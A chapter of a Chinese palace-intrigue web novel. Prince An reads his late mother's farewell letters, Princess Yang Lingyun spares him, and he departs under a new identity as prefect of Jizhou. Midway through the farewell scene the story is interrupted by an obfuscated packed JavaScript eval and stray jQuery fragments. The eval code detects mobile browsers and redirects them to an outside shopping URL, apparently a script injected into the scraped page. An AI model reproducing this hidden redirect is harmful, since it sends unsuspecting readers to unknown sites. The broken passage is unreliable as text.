47. 第 47 章

作品:《长公主每天都想跑路

    “安儿,你若是看到了这封信,想必你与长公主已经走到了再难说合的地步。母亲不知道是长公主要杀你还是你想为了云氏自尽,若是前者,便将这信封中的另一封信交予长公主,若是后者,母亲希望你能将这封信看完。”


    ……


    云婉温柔的面孔又渐渐浮现在安王眼前,记忆中她还是那个宠冠京华的云贵妃,华服加身,珠光宝翠,但都不抵她脸上温柔的笑意。


    “这三十年来,先帝扶持云氏,让云氏与朝中的世家大族争锋。你外祖骄傲,想把云氏打造成新的世家,他做了很多事,这些事如今再论个是非对错也没有意义。安儿,母亲只是想让你知道,若你选择揭露你外祖做过的事,母亲绝不会怪你,云氏倒了也绝不是你一人之责,你不必愧疚,更不必以命相抵。”


    “母亲只希望你能好好活着,活着,比什么都重要。”


    安王握着信的指尖难以自控地发颤,干涩的喉咙中发出的声音近乎挣扎:“那你为什么要死啊,娘?”


    “母亲这一生也做过很多事。”


    ……云婉像是提前知道了安王的看信时地反应,深宫深夜,骤雨倾盆,她站在书桌前,阖了阖眼,才继续提笔娓娓道来,“如今细细想来,竟恍若隔世,记不清了。”


    “但我还很清楚地记得一件事,便是一年前的先太子之死。”


    字迹到这里忽然晕开些许,旁边还沾了被草草擦拭过的墨迹。


    云婉推开窗子,用雨水将自己指尖的墨迹洗干净后,看着沾了墨点的信纸,轻叹一声,还是继续写下去了。


    “为保下桃心,我骗了临安公主。这一年来,我寝食难安,多次想将此事与临安公主和盘托出,但每每话到口中,又胆怯了,所以我隐瞒至今,直到你外祖让我杀了临安公主。”


    “母亲已经害死了先太子,深宫之中,也就这么几个孩子,都是我看着长大的,斗争至此,甚至因我而死,我实在下不去手。母亲累了,安儿,你会理解母亲的吧?”


    “母亲这一生都没有离开过长安,当年曾听皇后提起,长安之外,更有不少人间仙境。母亲是看不见了,安儿,你去替母亲看看,好吗?”


    “不要难过,安儿,人总归有这一趟。母亲只是提前了些,母亲会在天上看着你,陪着你的。”


    ……云婉最后合上了这封信,将它和另一封早已写好的信装进信封。


    雨水从没关紧的窗子飘进来,滴在了云婉执笔的手背上。


    “滴答……滴答……”


    安王攥紧了手中的信纸,青筋暴起的手背上滚落过水珠。


    但他已经不是孩子了,不是哭着闹着就能得到自己想要的。


    所以他只能缓慢地弓起身子,抬手盖住自己的眼睛,徒劳地挣扎着什么。


    水珠在日光的照映下折射出漂亮的颜色,正午的日光将他手上另一封信上的几个字照得清清楚楚——


    “宣和亲启。”


    杨灵允的眼神落到他手上时,心底猛然一跳。她以为云婉只留了那一封信,求她放过安王。


    不要看。一阵莫名的抵抗情绪骤然涌上。杨灵允觉得,这封出乎意料的信,对她来说可能并非好事。


    但杨灵允到底还是展开这第二封信,草草看过一眼后,分明做好了心理准备,却还是陡然捏紧了信纸边缘。


    在这封信中,云婉终于承认了一年前她欺骗自己的事。不仅如此,她还在信中提及了当年皇后自戕一事,与王淑均所言一样——杨灵允欠她两条命。


    信的末尾,字迹潦草,涂涂改改,云婉似乎写了一大段,但又被她草草涂掉,只剩寥寥几句——


    “我知道,如今你定会觉得我过去种种都是别有用心。可我就安儿一个孩子,我不能让他出事,所以只能以此卑劣的手段挟恩图报。”


    “我很抱歉,宣和。先太子的命我来还,云氏的罪我来扛,放过我的孩子吧。是不是王爷,身份贵不贵重都不重要,只要他能好好活着就行。”


    ……在云婉写完最后一字时,书桌边上的蜡烛忽然灭了一盏。整个屋子瞬间变暗了不少。


    仅剩的一盏烛火晃晃悠悠,照着云婉面上那盛装打扮后都遮掩不住的疲惫。


    她沉默地看了那封信许久,苍白的指尖颤了又颤,最终还是把它和写给安王的那封信放到了同一个信封中,缓缓合上了眼……


    正午的日光慷慨地照射在门框边,但杨灵允却感觉不到半分暖意,只觉四肢百骸都涌动着细密的寒意。


    她慢慢折起信纸,脱力地倚在门边,转头看安王时嘴角扯出似笑非笑的弧度:“三哥,你真的有一个好母亲。”


    安王屈着双腿,手肘狠狠压在膝盖上,一手遮住眼睛,一手死死地捏着仅剩的一张信纸,手上青筋暴起,却始终一言不发。


    杨灵允似乎也没想得到他的回答,缓缓阖了阖眼,继续低声开口,声音中带上几分细微的自嘲:“你瞧,你的母亲用尽一切在保护你。”


    而我的母亲,却从来没为我想过半分。


    她咽下了这后半句话,沉默地抬眼看了看高悬的日,刺眼得几乎要让人流泪。


    过了很久,安王嘶哑的声音才幽幽响起:“我不能死……”


    杨灵允侧头看了他一眼,将手中揉碎的信纸随手扔出去:“贵妃娘娘费尽心思,谋算了一切,我又怎能再杀你?”


    她语气满是嘲讽,不知是对自己的,还是对云婉的,抑或是对过去那个以为云婉当真是在乎自己的天真的临安公主。


    安王下意识地转头看她。


    如今两人都坐在门槛边,倚着残破的木门,没有半点天家的高高在上。


    但也是这一刻,他们靠得很近,就跟小时候一样,凑在一起躲在皇城的哪个角落玩耍。


    “我……”安王张了张唇,却不知该说什么。


    杨灵允从喉间溢出很轻很低的一声笑,声音中带着几分苍凉:“这个时辰,云厉大约已经死了。


    在安王骤然捏紧信纸的瞬间,杨灵允阖了阖眼,像是彻底的妥协和认命:“冀州刺史之位目前还空着。告身文书已经备好了。”


    安王沉默许久,哑声道:“谢谢。”


    “不用谢我,”杨灵允抬手遮住了眼,声音低哑,“你该谢谢她。三哥,你真的有一个好母亲。”


    她又说了一遍这话。


    安王喉结滚动两下,沙哑着开口想解释什么:“我娘她当初帮你的时候也不能未卜先知……”


    “别说了,”杨灵允很快就打断了他的话,“我不想听这些。”


    安王便沉默下来。


    他知道,自己作为既得利益者,却还想着杨灵允能理解能接受,当真是有些不知好歹了。


    ——


    三月十五,先帝最后一位成年皇子,安王,于京中突发心疾而死,享年二十三。


    陛下悲痛,举国哀丧。


    三月二十日,杨灵允和林魏然去城门口给人送行。


    林魏然送的是赵临的妻女,并将赵临之死的来龙去脉尽数告知。


    赵清面无表情地听完后,狠狠抬手擦了擦眼睛,冷笑道:“姓赵的他就是个混蛋!家中自己的亲生孩子不顾,为了不相干的人白白去送死。”


    春风柔柔抚过,吹落了赵清的发丝。


    年幼的乐乐还不了解大人间的事,她只知道父亲去了很远很远的地方,要很久才能回来。


    所以她要好好保护母亲。


    “娘,”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518392|141659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见到赵清红了眼眶,乐乐担忧地拉了拉她的手,问道,“你怎么了?”


    赵清用力揉了揉眼睛,才低头看女儿,有些勉强地弯了弯嘴角:“娘没事。”


    她说着,又抬眼看林魏然,咬牙道:“我永远永远,这辈子都不会原谅他!”


    林魏然闭了闭眼,轻叹一声:“抱歉,赵夫人。”


    话音刚落,城门那边又传来一阵马蹄声。


    是杨灵允和牵着马的安王。


    不过现在已经不能叫安王了,只能叫杨刺史。


    在赵清忽变惊鄂的眼神中,林魏然轻声道:“安王已死,杨刺史此去冀州上任。青州隶属冀州,有他在,你们日子也能更好过。不过你要是不愿意,我也会另派别人去照顾你。”


    赵清沉默片刻,扯扯嘴角,声音中带着几分讽意:“当然愿意,由刺史护送我们一路去青州,这可是常人难得的。”


    杨灵允和杨允安并肩走过来。


    杨允安显然是知道赵清身份,拱手问好。


    赵清将乐乐藏在身后,眼眶微红着,敷衍地应了一声。


    杨灵允淡道:“快走吧,再不走天都要黑了。”


    确实,如今已将近日薄西山。


    这一别,大约今生都不会再见了。


    林魏然拱手道:“赵夫人就麻烦杨刺史了。”


    杨允安笑了起来,与杨灵允有些许相似的眉眼中透着几分飞扬,显然已恢复了精神:“言重了。”


    他驾着车,赵清和乐乐坐在车中。


    车轮“咕噜咕噜”地滚过,飞快地驶向远方,在扬起的尘土间,他们的身影渐渐变小,消失。


    杨灵允站在原地沉默了许久,盯着远方,不知是在看已经消失的人还是看天边那一轮刺眼的落日:“其实我有时候真的很羡慕他。”


    林魏然下意识地将手搭在他肩上,轻声开口:“安王殿下?”


    “是啊,”杨灵允阖了阖眼,眼底落满泛黄的日光,声音中听不出是自嘲还是羡慕,“就算贵妃娘娘不在了,他也知道,世上有一个人始终无条件地站在他这边,为他做尽所有,在所不惜。”


    林魏然的心陡然揪了起来。


    握在杨灵允肩上的手一下就收紧了几分,像是想用力抓住她。


    “你也有这样的人。”


    杨灵允沉默地站在原地,过了好一会才转头看他,很淡地笑了下:“你在说谁,你还是哥哥?”


    从头到尾,她都没有提过自己的母亲。


    林魏然喉结剧烈地滚动了好几下,即将宣之于口的“我”却始终怎么也说不出来。


    最终,他只是抬手替她擦了擦眼角。


    也是这时,杨灵允才发觉,不知什么时候她竟流泪了。


    “是这光太刺眼了。”她下意识解释道。


    林魏然纵容地笑笑,“嗯,这光太刺眼了,我们回去吧。”


    直到夕阳西沉,杨灵允回宫,他也没回答她先前的那个问题——他不敢,他跟杨灵允之间还隔着太多东西,他不敢就这样跟杨灵允承认。


    再等一等,他看着杨灵允走入宫门的背影心想,等朝堂肃清,海晏河清,朝堂再也不需要他的时候,他就可以回答杨灵允的问题了。


    与此同时,在宫门即将关闭的时候,杨灵允忽然回头看了林魏然一眼。


    他还站在那里,长身如玉。如今云氏倒了,他便是朝堂人人称颂的肱骨之臣,前途无量。


    他对回头望的杨灵允温柔地笑了,眼底好像全是她。


    但回头后杨灵允便自嘲地扯了扯嘴角——怎么可能呢?在他的私心之前,永远有其他更重要的东西。


    所以就算他先前回答了杨灵允那个问题,她也不会信的。